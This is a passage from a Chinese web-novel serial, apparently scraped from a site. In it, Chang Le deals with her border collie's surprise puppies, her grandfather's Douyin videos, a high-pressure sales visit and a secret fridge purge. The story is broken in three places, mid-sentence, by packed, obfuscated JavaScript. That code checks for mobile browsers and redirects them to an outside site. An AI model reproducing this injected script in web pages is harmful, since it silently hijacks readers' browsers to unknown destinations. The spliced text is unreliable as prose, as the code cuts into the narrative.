等反应过来时,她已经陷进坑里了,双手双脚死死卡住,活像一只四脚朝天的王八。 沙发上!为什么!会有个!坑! “啊啊啊救救我——” 易诚听到呼救,慌里慌张地跑进来,上前拽住常乐的胳膊,把她往外扯。 左边刚扯了出来,右边又陷得更深了。屁股歪斜着,卡得更死了。 “不行不行!”常乐向他伸出双手,“两只手一起扯。” 易诚站到她的正前方,两只大手攥住她的胳膊肘,用力往上拔—— 常乐终于被他像拔萝卜一样拔出来了。 “对不住啊。”易诚满脸歉意,又憋不住想笑,“这个洞是图图挖的。” 常乐大口喘着气,脸涨得通红,还没从刚刚的事故中缓过来。 她没好气地问:“你养的是狗还是老鼠啊?” 易诚解释道:“图图小时候有分离焦虑,只要我不在家,他就会满屋子找我。沙发上有我的味道,他以为我藏在里面,所以……” 常乐掀开沙发巾。其它地方虽然没有出现这种巨型深坑,但也被蹂.躏得不成样子了。 ……算她倒霉。 她揉了揉后腰,“把你家图图叫来。” “干嘛?”易诚一下子警觉起来,“你要打要骂冲我来就好了。” 好一个主仆情深。常乐翻了个白眼,“我不打他。你把他叫来,我找他有事。赶紧的!” 等了半天,易诚才忐忑不安地抱来了图图。 常乐坐在沙发中间位置,翘着二郎腿,看看手机里的照片,又看看图图。 “你看,简直一模一样。”她把手机举给易诚看。 易诚不解:“这是谁家的狗?” “我家的。我家养的边牧,莫名其妙怀孕了,前两天生了一窝小狗,我怀疑是柯基干的。” 常乐放下二郎腿,手肘撑在膝盖上,俯下身,直直地盯着图图。 这小东西,长得还挺可爱的,吐着舌头冲她笑。 常乐晃了晃脑袋。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“之前怎么不做?”常乐拧眉瞪眼,“哦,车撞树上知道拐了,大鼻涕掉嘴里知道甩了?” “之前……”易诚挠挠头,“是因为翠姨跟我说,我家图图长得好看,想让图图给她家泡芙配种,我就想等配完种再去绝育,没想到……“ 常乐:“……” 绕了一圈,还是绕不开翠姨。 易诚垂眸看着常乐,语气诚恳:“你放心,我会负责的。这几只小狗,你要是不想养,就给我养吧。” 常乐没好气地说:“不劳你费心,我家养得起。” 易诚顿了顿,又说:“还有你家边牧的医药费、营养费,后续的绝育费,都算在我头上,成吗?” 常乐不吭声,脸色缓和了几分。 “以后你家的狗粮、零食、冻干我都包了,还有,小狗要打疫苗、做绝育,这些钱也由我来出。” 随着易诚的保证越来越多,常乐气也消了大半。 能用钱解决的事都是小事。前提是,得由别人出钱。 她就是这么务实。 两人商量好,明天一早,易诚就带图图登门道歉,两家人坐在一起,讨论小奶狗的抚养权问题。 夜深了,常乐走在回家的路上,仰头望着路灯,心中喜忧参半。 喜的是,真相大白,神秘的孩子爹终于找到了。 忧的是,是个小短腿。等以后中年发福,肚子都要拖地了。 转念一想,至少图图长相可爱,以后小奶狗的颜值不会差。 可是他有分离焦虑,万一遗传给了孩子怎么办? 一想到家里有四只小恶魔,趁家里没人,就把沙发刨出巨坑,床垫啃出大洞,衣服撕成条,棉絮满屋飞…… 不会的不会的,她安慰自己。她不是刚成为全职女儿吗?照看小狗也是她的工作职责之一。 在她眼皮子底下,这群小崽子们能闹出什么幺蛾子? 心里的疙瘩解开了,常乐昂首挺胸,像打了胜仗似地回家了。 13. 13 早晨七点,102室次卧。 微短剧《带球跑后,我被霸总找上门》第三集,开机。 主角配角齐聚一室,床的左边坐着女方代表——姥姥姥爷,床的右边坐着男方代表——易诚。 床尾躺着四只酣睡的小奶狗,男主图图正踮着脚,趴在床边,好奇地嗅着四只萌宝,鼻头时不时往被子里拱。 被子底下,埋着常乐。 要不是此刻形象欠佳,她真的很想跳出来问问易诚—— 你管“早晨七点”叫上午啊? 这是当今社会一个年轻人应该有的作息吗? 而且,姥姥姥爷凭什么直接把他带进了自己的卧室?就为了来欣赏四只小奶狗的睡姿? 那她呢?她的睡姿,有人在乎吗? 迷迷糊糊地醒来,看到一屋子人都围着自己,与此同时,她的脚还被一条湿漉漉的大舌头舔着…… 这种社死的感觉谁能懂? 堪比穿着睡衣出门正好碰上高中同学聚会。 常乐把自己蒙在被子里装死。 她听见易诚在说话:“李婆婆,林爹爹,这件事是我不对,我没有及时给图图绝育,也没有栓好他,让他酿成大错。所以我想尽力弥补。有什么需要我做的,你们尽管提。” 然后是姥爷的声音:“哎,什么弥不弥补的,家里添丁是喜事。” 姥姥也附和道:“是啊,瞧你说的,狗发.情是很正常的事,有什么错不错的?” 常乐在被子里冷嗤一声。 “也不能这么说,毕竟是我们有错在先。”易诚态度很诚恳,“而且,照顾四只小狗还是很辛苦的。这样吧,等小狗断奶,我就带回去养,给你们减轻一点负担。” 姥爷大手一挥:“不用,我们家能养,狗崽跟着母狗也能长得更壮实。” 姥姥也说:“是啊,你照顾你爸不容易,哪有时间再照顾狗?这几只狗我们养了,你别管。” 常乐忍无可忍,在被子里大吼:“至少让他养一只啊!” 总不能连人带狗都是丧偶式育儿吧? 姥姥拍打着被子,“你这孩子,吓我一跳。” 姥爷呵斥道:“要说话你就出来说,哪有躲在被子里见客人的?” 常乐怒吼:“那你们倒是先出去啊!” “走了走了,我们出去说。”姥姥冲易诚招了招手,“这孩子害羞。” 房间里总算安静下来。 常乐把被子往下扒了扒,露出两只眼睛,警惕地张望一圈。 房里没人,门也被关上了。 常乐飞快地穿上居家服,越想越气:大早上来她房间开会,也不提前敲敲门,一点都不尊重她! 她气势汹汹地冲出房间,看见易诚跟姥爷正坐在沙发上,不知在聊什么,笑得很开心。 她提起一口气,正要火力全开,忽然被姥姥从身后削了一巴掌:“快去刷牙洗脸。看看你这头发,乱得鸡窝一样。” 常乐一下子吃瘪,灰溜溜地钻进去洗手间。 镜子里的自己一脸油光,眼角带屎,头发乱糟糟的。 若是以这副尊容去吵架,毫无气势不说,还可能把对方逗笑。 等她收拾完毕出来,姥姥姥爷已经在门口送客了。 “这就要走了?”她还没进入战斗状态呢。 易诚解释道:“是啊,我八点有课,所以一大清早就过来了。吵到你睡觉,真是抱歉,” 嘴上在道歉,眼里却闪烁着几分笑意。 “那小狗的事呢,你们商量好了吗?” 姥爷说:“等小狗断奶了,他来挑一只带走,其它的我们养。就这么决定了。” 常乐提醒道:“还有抚养费什么的……” 姥姥的铁砂掌又袭来:“你这孩子,掉钱眼里去了。要什么抚养费?养几只小狗能花多少钱?” 姥爷也驳斥道:“就是,几只狗我们家还养不起吗?” 常乐的脸涨得通红。 她不是贪财,只是想要狗爹付出一点代价,要么出钱,要么出力。总之,不能过得太轻松。 姥爷又转向易诚,脸色变得温和:“你快回去上课,别操心这些事了。” 易诚跟姥姥姥爷礼貌告别,又冲常乐摆摆手,牵着图图转身走了。 关上门,姥姥回到客厅,看到易诚留在茶几上的几盒东西,又哎呀呀地叫起来:“这孩子还提这么多东西来,这么见外……” 常乐凑过去一看,什么幼犬专用的羊奶粉、营养膏、液体钙、也不知这一大清早他上哪儿去弄的货。 常乐心里舒坦了一些。 昨天晚上胜宝母乳不够,小狗们嘤嘤叫了好久,常乐起床泡了碗羊奶,用注射器把他们挨个喂饱,才换来后半夜的宁静。 这两罐羊奶粉送得很及时。 她拿起一罐,正要扯开拉环,视线一扫,忽然“呀”了一声。 “怎么了?”姥姥问。 常乐看着装奶粉的纸袋,表情有点复杂。 姥爷也循声看过来。 纸袋底下,有个红包。 “哎呀这傻孩子!”姥姥惊呼一声,拿起红包打开,粗略数了数,三千。 姥爷催她:“赶紧还给人家。” 姥姥急忙跑了出去,嘴里还念叨着:“易诚这孩子真是实心眼,他爸治病都不够花的,还给我们钱……” -- 开车送林文娟上学时,常乐跟她说起这事。 林文娟沉默良久,叹了口气。 “唉,你这孩子,说好听点是较真,说难听点就是不懂人情世故。大家都是街坊邻里,认识这么多年了,这点小事说开了就行了呗,非得让人家出什么抚养费,啧。” 常乐觉得委屈:“昨天晚上是他主动提的,今天早上也是他主动给的,这能怪我吗?” 林文娟呛道:“人家跟你客气一下,你还真不客气了?” 常乐瘪着嘴,没吭声。 林文娟继续说:“你知道这些年他爸治病花了多少钱吗?虽说有医保,但很多费用还是要自己负担,光是那个脑血管支架就要三万。他都过得这么难了,你还要敲他竹杠,真是……” 常乐内心涌起一股愧疚感。 她喃喃地问:“他爸的病会好吗?” “很难。”林文娟叹了口气,“这才几年时间,他就老了这么多。上次我在小区门口见到他,差点没认出来。可能,就这几年了……” 常乐陷入了沉默。 小车缓缓停在老年大学门口。 林文娟下了车。关门时,她弯下腰,对常乐认真地说: “在家主动帮你姥姥姥爷干点活儿,他们年纪都大了,很多事都需要年轻人帮忙。别成天想着工资、报酬,人生还有很多事,比钱更重要。” -- 常乐回到家,一看时间,才八点半。一天才刚开始,可她已经有种深深的疲惫感。 姥姥买菜还没回来,姥爷一个人在房间里,估计又在忙活他的网红事业。 在躺着玩手机和主动干点家务活之间,常乐选择去骚扰姥爷。 她推门而入,果然,姥爷倚在窗边,作深沉状,面前立着一根三脚架。 姥爷见到她,一时有些局促,像上课偷玩被抓包的学生,急声道:“干什么你?进来也不敲门。” 常乐轻嗤一声。 你们进我房间不也没敲门吗?咱们都是一家人见什么外嘛。 “拍什么啊姥爷?”她走到三脚架前,嬉皮笑脸地说,“我帮你啊。” “不用你帮忙,出去出去。”姥爷摆摆手,就要赶她走。 “姥爷,你的老钱风穿搭视频怎么还没拍?我还等着点赞呢。” 姥爷迟疑了一下,“素材昨天就拍好了,就是……” “你不会剪?我帮你啊。” 姥爷摇摇头,“不用剪,把视频传上去,抖音会帮你剪辑,还能配乐,不麻烦。” “那是嫌拍得不满意?要不我帮你重拍?” 姥爷犹豫片刻,从三脚架上取下手机,递给常乐看。 “你看哈,这个背景我不太满意,跟我这气质一点都不搭。” 常乐低头一看,差点没笑出声。 视频里,姥爷戴着墨镜,穿一身棕色西装四件套,脖子上还系着同色系小方巾,脚下的棕色皮鞋疑似是常建民压箱底的那双。 嗯,果然老钱,这身行头一看就老费钱了。 “我是觉得,这个背景太乱了。” 视频是在这间卧室拍的,花窗帘、防盗网、老旧的家具,褪色的墙纸,的确跟这个主题不搭。 常乐接过姥爷的手机,“这个简单,我给你P一个就行了。” 她下载了一个P图软件,把视频传上去,选了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吸睛,有创意,看一眼就想点进来…… 那就得玩个反差感。 她绞尽脑汁,终于想出一个:“当年穷得捡垃圾的我,三婚终于入赘豪门。” 姥爷脸一沉,“这让我的老脸往哪儿搁?” 五分钟后,常乐又想出一个:“回巴黎了,香榭丽舍的咖啡馆老板还记得我的喜好,有点惊喜。” 姥爷脸上溢满嫌弃之情,“太装了。” 常乐:“要的就是这个效果啊!” 转念一想,装得太过会被嘲笑的,算了算了。 又过了五分钟,常乐慢悠悠地说:“初恋女友要办八十大寿,穿哪套去比较好呢?” 姥爷咂摸了一下,终于点头:“这个还行,至少不丢人。” 得到甲方肯定后,常乐干劲十足,把标题打上去后,还编了个完整的故事: “六十多年前,初恋女友嫌我家里穷,转头嫁给了厂长的儿子。我南下打工,多年无音讯。这些年,她几次通过老家的亲戚联系到我,说想见见我,被我拒绝了。马上就是她的八十大寿,她向我发来邀请,网友们帮我看看,穿哪套去比较好?” 为防止甲方挑三拣四,常乐打完这一大段,直接点了发布。 视频发布后,常乐每隔几秒就要刷新一下,期待着播放量蹭蹭往上涨。 “行了,把手机给我吧。”姥爷都看不下去了,要回手机,把她赶出卧室,“这儿没你啥事了,帮你姥姥做饭去。” 常乐老惦记着自己的劳动成果,择一会儿菜就看一眼手机,看到视频已经有了几十个赞了,她按捺不住内心的兴奋,擦了擦手,在视频底下评论: 【第一次玩抖音,请问这是吴彦祖的账号吗?】 正打着字,手机被姥姥抢走了。 “干什么呢你?”她骂骂咧咧,“半个小时了,菜还没择好。我肉都炒好了,就等你的豆角下锅呢。” 她一边骂一边眯着眼看手机,突然,眉头一皱。 不等常乐解释,她就提着菜刀冲出厨房,大骂道: “林万全你个狗东西,你哪个初恋女友要办寿啊?” 14. 14 常乐赶紧跟过去。 假意劝架,实则看热闹。 姥姥还残留一丝理智,没有率先使用冷兵器。她攥着小钢锤一样的拳头,“梆梆”捶了姥爷几下,举着菜刀逼问:“上次你同学聚会回来,我就觉得不对劲。说!是不是那个姓叶的?” 常乐耳朵一下立了起来。 呦呵,还有意外收获? 下次视频的标题知道怎么取了。 “什么花啊叶啊的,你瞎琢磨什么呢?”姥爷捂着被捶的胳膊,痛得脸皱成一团,“没有初恋没有办寿,这都是瞎编的,不信你问乐儿。” 常乐连忙点头:“编的编的。我跟姥爷编了一上午,就想出这么一条能用的。” 姥姥看看常乐,又看看姥爷,仍是半信半疑。 “编也不编点好的,一大把年纪了,还初恋女友……这要是被熟人看到了,你不嫌丢人我还嫌丢人呢。” 常乐赔着笑解释:“姥姥,网上都这样,一切为了流量。有流量才能有粉丝,有粉丝才能接广告,接广告才能赚大钱。赚钱嘛,不丢人。” 姥姥收回菜刀,冷哼一声:“净搞这种歪门邪道!” 这边刚把姥姥安抚好,那边,母亲大人就打来电话轰炸—— “常乐!你干嘛去了?还有没有一点时间观念?我都在门口等了五分钟了,你人呢?” 常乐倒吸一口凉气。 她把接林文娟这事忘得一干二净。 “啊啊啊路上堵车,马上到!” 林文娟狠狠威胁:“十分钟之内没到,扣你一天工资!” 常乐马不停蹄地出门。 扣工资事小,得罪了老板,她的天就塌了。 -- 除了挨了顿骂,常乐这一天过得还算顺利。 尤其她是帮姥爷编辑的那条视频,点赞量还不错,评论区也有不少人互动玩梗。比他自己发的那几条打太极的视频要热闹多了。 晚上,一家人正准备吃饭,来了个不速之客。 开门的是常乐。她看着门外这个短发年轻姑娘,觉得有点眼熟,一时又想不起来。 半天没听到常乐的动静,林文娟大吼一声:“又点外卖了?一天天的,家饭不吃吃外面的野饭!” 常乐没有理会林文娟。她守着门口,问:“你找哪位?” 短发女孩笑盈盈道:“我是红外磁电理疗店的小杨,咱们上次见过啊。” “哦……”常乐记起来了,就是那个干爸干妈一箩筐的销冠啊。 “李婆婆在家吗?” “在。”常乐扯着嗓子喊道,“姥姥,找你的。” 姥姥急匆匆跑到门口,见到小杨,也是一脸惊讶。 “小杨?你怎么来了?” “李婆婆,我能进去说吗?”小杨从脚边抱起一个包装盒,“这是我们店给老顾客的福利。” “……哦,请进请进。” 一家人都围了过来,看小杨从盒子里取出一个黑色坐垫,放置在单人沙发椅上,然后摆好仪器、接上电线、插上插头。 小杨一边安装一边解释:“李婆婆,是这样的,我们店长看您每天到店里来做理疗,跑来跑去的很辛苦,所以让我给您送来一台电疗仪。您可以免费试用半个月,要是觉得好用,还可以留下来继续使用。” 一家人面面相觑,都猜不到她葫芦里卖的是什么药。 常乐试探地问:“留下来继续用?要钱吗?” 小杨笑容不改:“这款产品我们对外售价是一万八,李婆婆是我们的老客户,我可以向店长申请一个优惠价,一万两千八。” 姥姥腾地一下站起身,连连摆手:“那算了,你拿回去吧,我用不着。” “别啊,李婆婆。”小杨也跟着起身,亲热地搀扶着她的胳膊,“您先用一段时间,要是觉得不好,我再把东西搬走呗。” 她环视其他人,继续说:“您的家人要是感兴趣,也可以试一试,我们这款产品,适用于各个年龄段呢。”她的视线最后落在常乐身上,“美女,你上次来体验过,感觉怎么样?” “嗯,呃,还行……”常乐支支吾吾。 “那这几天怎么没看到你过来?” 常乐面露尬色:“呃……起不来。” “正好,我把这款产品放在你家,你想什么时候用就什么时候用,不用再早起排队了。” 常乐一时想不到拒绝的理由,只好嗯嗯哦哦地点头。 小杨又转头看了眼餐桌,“瞧我,说了这么半天,都耽误你们吃饭了。” 她往茶几上放了张名片,又捡起地上的空盒子和包装袋,向他们告辞:“那我先回店里了,有什么事随时联系我。” 一家人将她送出家门,回到沙发旁,从各个角度研究这块黑色坐垫。 常乐率先开口:“这又是什么套路?” 姥爷语气笃定:“就像她说的那样呗,先让你姥姥试用一段时间,等她用习惯了就舍不得退了。” 林文娟附和道:“对啊,你姥姥脸皮薄,到时候肯定不好意思退,就顺势买下来了呗。” 姥姥摆摆手,坚决地说:“那肯定不会,一万多呢,我怎么舍得?” 常乐总觉得这其中有诈。她恶意揣测道:“有没有可能,这台仪器本来就是坏的,她过半个月后来收回,就以仪器被损坏为理由,强行要求我们买下来?” 常建民皱皱眉,“这不太可能吧?我们又不是傻子,发现坏了肯定立马退货啊。” 林文娟也说:“你把人想得太坏了,她这样做生意,这家店还开得下去吗?” 常乐默不作声。 也许是一朝被蛇咬十年怕井绳,她总觉得,那家店从里到外都是一副随时要跑路的样子。 思索片刻,姥姥提出新思路:“我再去店里做两次理疗,就能领电饭煲了。难道是她不想给我?” 常乐忍俊不禁:“姥姥,一千多的电饭煲舍不得,一万多的电疗仪说给就给,这人有毛病吧?” “那不好说,老孙今天去领电饭煲,说店里的存货不多了。”姥姥对自己的推测坚信不疑,“明天我就去,早一次晚一次,必须领到!” 种种假设都被讨论了一遍,最后,大家一致认为姥爷的推测最靠谱—— 用着用着就舍不得退了,到时候,对方再顺水推舟,给个折扣价,姥姥没准儿一咬牙就买下来了。 毕竟是销冠,深谙人性的弱点。 -- 讨论结束,一家人回到餐桌,继续吃晚饭。 常乐忽然想起件事。她问林文娟:“妈,明天还上课吗?是我送还是我爸送?” 林文娟瞟了一眼常建民,不紧不慢地说:“本来工作日应该是你爸送的,他顺路去上班嘛,但是,他现在要罢工。” 常建民用力点了点头,“对,我要求同工同酬。” 常乐:“……” 林文娟:“所以我决定还是由你送,他自己坐公交车上班。” 常乐:……我那可怜的老父亲啊。 常建民笑呵呵地说:“你也可以先送你妈再送我,反正顺路,也就一脚油门的事。” 常乐:……收回刚刚对你的同情。 她双手抱胸,摆出做生意的架势:“顺道送你也行,不过,两个人就不是这个价格了。” 常建民笑容一秒凝固。 他幽怨地叹了口气:“算了,我还是坐公交吧。” 常乐扑哧笑了起来:“开玩笑的,你还当真了?你俩我都送,行了吧?就当买一赠一了。” -- 第二天一早,一家三口准时坐进了那辆小别克。 常乐伸长脖子看看车前,又扭头看看车后,犹豫片刻,讪讪地说:“爸,要不你来?” 真不能怪她车技不行。这些车停得跟幼儿园的小朋友们手牵着手过马路似的,一点缝隙不留,恨不得把脸焊在她的车屁股上。 常建民佯装无奈,叹着气跟她换了位置,脸上却写满了“关键时刻还得靠我啊”的小得意。 不用一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585077|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分钟,他就将小车挪了出来。 常乐重新坐上驾驶位,缓缓上路。 今天下起了小雨,窗外雨雾蒙蒙,路人都缩起脖子,裹紧羽绒服。这种天气,让她爸去坐公交,她实在是于心不忍。 林文娟看着手机,说:“我们的演出时间定了,这周五晚上七点,可以带三个家属。” 常建民眼睛一亮,大喊:“我周五晚上单位要搞大扫除!” 林文娟斜乜着他,冷嗤一声:“你这么兴奋干嘛?这么热爱劳动,在家里怎么不干活?” “没没没,”常建民急忙解释,“我不是兴奋,只是……我着急啊,一想到要错过你的演出,我就觉得遗憾。唉,真可惜!” 林文娟挑挑眉,“没事儿,周六晚上也有一场。” 常建民的表情瞬间呆滞。过了几秒,他才讷讷地说:“周六我得回老家一趟,怕赶不回来……” 林文娟笑里藏刀,“没事儿,周日晚上还有一场。” 常建民:“……”躲得过初一躲不过十五啊! 林文娟收起笑脸,飞来一个眼刀。 常建民立马挺胸收腹,表情严肃,就差举手发誓了:“我必须到场!” 前方红灯,常乐停下车,小心翼翼地问:“我参加一场就行了吧?” 林文娟严肃道:“你不行,演出之前要开个家长会,你得去参加。” 常乐傻眼了:“家长会?不是应该让父母去吗?我去不合适吧?” 林文娟:“这会起码得开一小时,你姥姥姥爷年纪大了,坐不住。” 常乐:……你对你爸妈是有什么误解吧? 姥姥为了领一袋富硒米可以听俩小时的讲座,姥爷躺沙发上玩手机可以三小时不挪窝! 反倒是她,看一场电影都得跑三趟厕所。家长会这种无聊的活动,她顶多能保持十分钟清醒。 等会儿…… 常乐瞪着林文娟,“该不会,家长会也要开三场吧?” 林文娟点点头,一脸理所当然。 常乐目瞪口呆。 她感觉自己像个三胎宝妈,上午去老大的学校被班主任训话,下午陪老二参加学校集体活动,晚上还得帮老三做幼儿园作业,从早到晚忙得焦头烂额,心力交瘁。 “对了,”林文娟提醒她,“我可能会被评为优秀学员,所以,你最好准备一篇发言稿。万一老师把你请上台,让你说说鸡妈经验,你总不能站那儿傻笑吧?” “鸡、妈?”常乐闻所未闻。 林文娟点点头:“就跟鸡娃差不多。当然,这个主要是靠我自己努力。” 常乐心领神会:“我知道了,到时候,我多夸夸你。” 林文娟抿笑不语,眼神得意。 快到老年大学门口了,林文娟抓紧时间嘱咐她:“你今天要是没啥事,就把家里打扫一遍,重点是清理冰箱。你姥姥什么剩饭剩菜都往里塞,每次打开都一股味儿,熏得我头疼。” 常乐答应得很爽快:“行。” 小车缓缓停下。 林文娟继续说:“千万要趁你姥姥不在家的时候清理,把里面那些过期的、发霉的、用不上的,统统给扔了。” 常乐:“……行。” 还得打个时间差?听上去有点小刺激。 林文娟打开车门,又回头叮嘱道:“对了,记得扔远点!扔到她找不到的地方。我之前把那罐长了毛的榨菜给扔了,第二天,又出现在了冰箱!真是见鬼了!” 常乐:“……” 不就是断舍离嘛,还得斗智斗勇?整得像特工执行任务一样。 寒风裹挟着冷雨涌进来,林文娟赶紧下车,关上车门。 后排的常建民幽幽地补了一句:“你小心点。去年我在冰箱里发现了一袋过期五年的速冻饺子,我给扔了,第二天,饺子——” 常乐接话:“又回来了?” 常建民苦笑:“出现在了我的碗里。” 一股寒气忽然从背后袭来,常乐冷不丁打了个哆嗦。 15. 15 回到家,常乐谨遵林文娟的教诲,一直等到下午四点,姥姥出门做最后一次电疗,才开始行动。 她盘算着:从姥姥出门到做完电疗至少得半小时,领电饭煲可能还得拉扯一番,她只有一个小时的行动时间。 清理个冰箱而已,根本用不着—— 冰箱门一打开,一股混杂着饭菜馊味和陈年脚臭味的复杂味道扑面而来。 常乐被熏得眼泛泪花。 轻敌了。 她回卧室找了几个口罩,一层一层捂住口鼻,又从抽屉里翻出小时候的泳镜,还戴上了姥姥的橡胶手套。 从头到脚全副武装后,常乐再次拉开冰箱门。 白惨惨的光,映在她脸上。 冷藏区简直像个大型细菌培养皿。 常乐屏住呼吸,把剩饭剩菜、烂了的橙子、焉了的苹果、流汁水的红提、长绿毛的霉豆腐、像结了蛛网一般的榨菜罐子统统倒进垃圾桶。 冰箱上层空了一半。 第二波是是带包装的食品,她挨个查看保质期和食物状态。 和田大红枣,过期三年,扔。 好味道卤豆干,袋子胀气了,扔。 老干妈辣酱,过期十年???扔! 草莓酸奶,过期五天……留牌子,赐香囊。 一顿操作下来,冰箱又空了一半,垃圾桶已经满了。 剩下的都是些散装食物,用塑料袋包着。有的她能辨认出来,比如半根腊肠,一袋猪油渣,碎成沫的茶叶,还有各种卤料。 还有的,她实在猜不到是什么,看模样也挺磕碜,索性大手一挥,统统发配垃圾桶。 下层就好清理多了。常乐认为,食物一旦被冷冻,就进入了永生状态。只要不过期得太离谱…… 一袋拆封的水饺,过期六年。 哦,就是它,像鬼一样缠着常建民。 她毫不留情地将这袋水饺塞进垃圾袋,以绝后患。 还有一些冻货,看一眼就倒胃口,比如一袋冻得像石头一样硬邦邦的馒头,一包不知流传了多少个世纪的腌鱼,一团黑糊糊的不知道是什么动物的什么部位…… 统统扔了。 杀伐决断,大快人心,酣畅淋漓。 常乐整整清理出三大袋垃圾。 剩下的时间不多了。她拎着沉甸甸的垃圾袋出门,寻找最佳抛尸地点。 她在小区里四处晃悠,避开主干道,专往偏僻隐秘的林子里钻,远远地看见熟人,或者听见熟悉的声音,就迅速掉头。 就这样,寻寻觅觅,躲躲藏藏,她终于在一个人迹罕至的角落,找到几个硕大的墨绿色垃圾桶。 常乐提起一袋垃圾,在空中抡了个半圆,痛快地甩进垃圾桶。 接着,第二袋、第三袋…… 垃圾摔进桶里,发出沉闷的声响,她心里的石头也跟着落地。 常乐确信这个地方绝对隐秘,因为她回去的时候差点迷路。 打开家门,她一眼就看到地上有一个方方正正的包装盒。看来姥姥已经凯旋而归了。 常乐扯着嗓子喊:“姥姥,电饭煲领回来啦?” 姥姥没回答。 过了会儿,厨房里传出了姥爷的声音:“乐啊,你过来一下。” 语气听上去有点委屈,像刚刚被训斥了一顿。 常乐做了个深呼吸,换好鞋后,若无其事地走进厨房。 姥姥和姥爷站在冰箱前,一个脸色铁青,一个战战兢兢。 “怎么了?”常乐看看姥姥,又瞅瞅姥爷,佯装好奇,“你俩吵架了?” 姥姥紧绷着脸,怒瞪着常乐,气冲冲地问:“我问你,我冰箱里的东西呢?怎么少了那么多?” “啊?”常乐一脸无辜,“什么东西?我不知道啊,我刚从外面回来。” 姥爷当场揭穿她:“你下午不是在家吗?我听到你在厨房里窸窸窣窣的,不知在干嘛。” 常乐耸耸肩,“我来找吃的啊,中午没吃饱。吃完我就出去了。” 姥姥皱起眉,“出去干嘛了?” “闲得无聊就出去走走呗,你不是让我别老闷在家里嘛。”常乐冲她眨了眨眼,“姥姥,我听话吧?” 姥姥一个铁砂掌猛地袭来,摁住她的后脑勺,另一只手掐住她的后颈,把她抵在冰箱上,逼问道:“说!是不是你干的!” “哎哟哟哟疼!”常乐的脸都被蹂.躏得变形了。 她哀嚎着求饶:“我错了我错了,我说还不行吗?你先撒手!” 姥姥强忍着怒火,松开手。 “说啊,扔我东西干嘛?是不是你妈指使的?” 常乐搓了搓脸,又揉了揉后颈,吐槽道:“姥姥,你也不看看你那冰箱,菜都馊了,水果都烂了,还留着干嘛?我下午来找吃的,一打开冰箱,嚯!一只大蟑螂差点飞到我的脸上!还有几只在饭菜上面爬来爬去,恶心死了!我就把剩饭剩菜都给倒了。” 姥姥打开冰箱,上看下看,满脸狐疑道:“蟑螂?冬天怎么会有蟑螂?” “真的有!”常乐信誓旦旦地保证,“就跟变异了似的,又肥又大,还会飞!可能是咱们家伙食太好了吧,每天都有剩饭剩菜,所以蟑螂都跑到这里过冬了。” 姥姥脸色有些难看,仍半信半疑:“厨房我每天都打扫,干净得很。” 常乐睁大眼,继续吓唬她:“冰箱里有很多小孔、小缝,各种犄角旮旯的地方,你不知道吧?蟑螂最喜欢藏在里面了。所以,千万!不要!再把剩饭剩菜放冰箱了!” 姥姥一时吃瘪,脸上有几分尴尬。 过了会儿,她才不情不愿地说:“我以后用保鲜膜罩起来。” 她继续检查冰箱,又问:“我那些豆干、红枣、绿豆糕呢?也都给扔了?” 常乐:“姥,那些东西都过期好几年了!” 姥姥瞪她一眼,“放冰箱里怎么会过期呢?温度那么低。” 常乐:“……” 姥姥,你退休前好歹是个人民教师,怎么连这点常识都没有? 常乐只好继续扯谎:“姥,你多久没拿出来看看了?那些袋子里都长虫了,白花花的,还在蠕动……” “噫额,别说了,恶心死了。”姥姥瞬间变了脸色,摆摆手,“算了算了,扔就扔了吧,反正家里也没人爱吃。” 接下来,就是冗长的对账环节—— “我霉豆腐呢?” “长毛了。” “这很正常啊,霉豆腐本来就要长毛。” “长绿毛就有点惊悚了吧?” …… 库存清点到最后,姥姥又有了重大发现:“那几包散装的东西呢?那些都没有生产日期,总不可能过期吧?那半截腊肠,我还打算今晚炒大蒜叶呢!” 常乐:“扔了。” 姥姥:“卤料包呢?” 常乐:“长虫了。” 姥姥:“藏红花呢?” 常乐:“扔……嗯?藏、红、花?” 家里还有这么尊贵的客人? 姥姥追问:“冬虫夏草呢?鹿茸呢?阿胶呢?” 常乐彻底呆住了。 姥姥脸色又变得铁青,伸出手指,狠狠戳了下她的脑袋,骂道:“你个败家玩意儿!” 常乐忽然反应过来,转身拔腿就跑。 谁能想到,这个小冰箱里还卧虎藏龙啊? 外面雨还在下。细雨濛濛中,常乐努力回想刚刚走过的路:是从这棵树拐过去?这条路走到底再拐个弯?垃圾桶旁边好像有几棵桂花树…… 她在小区里鬼打墙似地转悠了二十多分钟,总算捕捉到一丝熟悉的痕迹,顺着找过去,终于见到了那几个隐蔽的垃圾桶。 那几包垃圾才刚扔进去不久,应该没有被转运。 常乐走近垃圾桶,探头往里一看,果然还在。 紧绷的弦终于松了,她长舒一口气。 常乐撸起袖子,踮起脚,上半身探进桶里,小手指向下一勾,轻轻松松就提出来了。 她蹲在地上,打开垃圾袋,一股馊味扑面而来。 不对,这一袋都是剩饭剩菜。 再走到旁边的垃圾桶前,手指勾起第二个,打开,各种瓶瓶罐罐、包装袋……也不对。 勾起第三个,打开,终于看到那些小塑料袋。她也不知是哪个,只能逐一打开,瞅一瞅,闻一闻。 